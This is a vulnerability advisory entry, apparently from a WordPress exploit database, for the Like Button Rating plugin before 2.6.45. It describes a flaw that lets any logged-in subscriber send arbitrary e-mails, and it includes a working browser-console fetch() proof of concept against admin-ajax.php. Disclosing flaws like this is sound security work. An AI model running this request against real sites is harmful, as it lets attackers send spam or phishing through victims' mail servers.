Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:180F8E87-1463-43BB-A901-80031127723A
HistoryMay 23, 2022 - 12:00 a.m.

Like Button Rating < 2.6.45 - Arbitrary e-mail Sending

2022-05-2300:00:00
Krzysztof Zając
78
arbitrary e-mail sending
browser developer console
fetch api
wordpress security

EPSS

0.001

Percentile

24.8%

The plugin allows any logged-in user, such as subscriber, to send arbitrary e-mails to any recipient, with any subject and body

As a subscriber, run the below command in the web developer console of the browser

fetch("/wp-admin/admin-ajax.php?action=likebtn_test_vote_notification", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "options[likebtn_notify_to][email protected]&options[likebtn_notify_subject]=hehehe&options[likebtn_notify_text]=Hopsasa</b><h1>",
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

EPSS

0.001

Percentile

24.8%

Related for WPEX-ID:180F8E87-1463-43BB-A901-80031127723A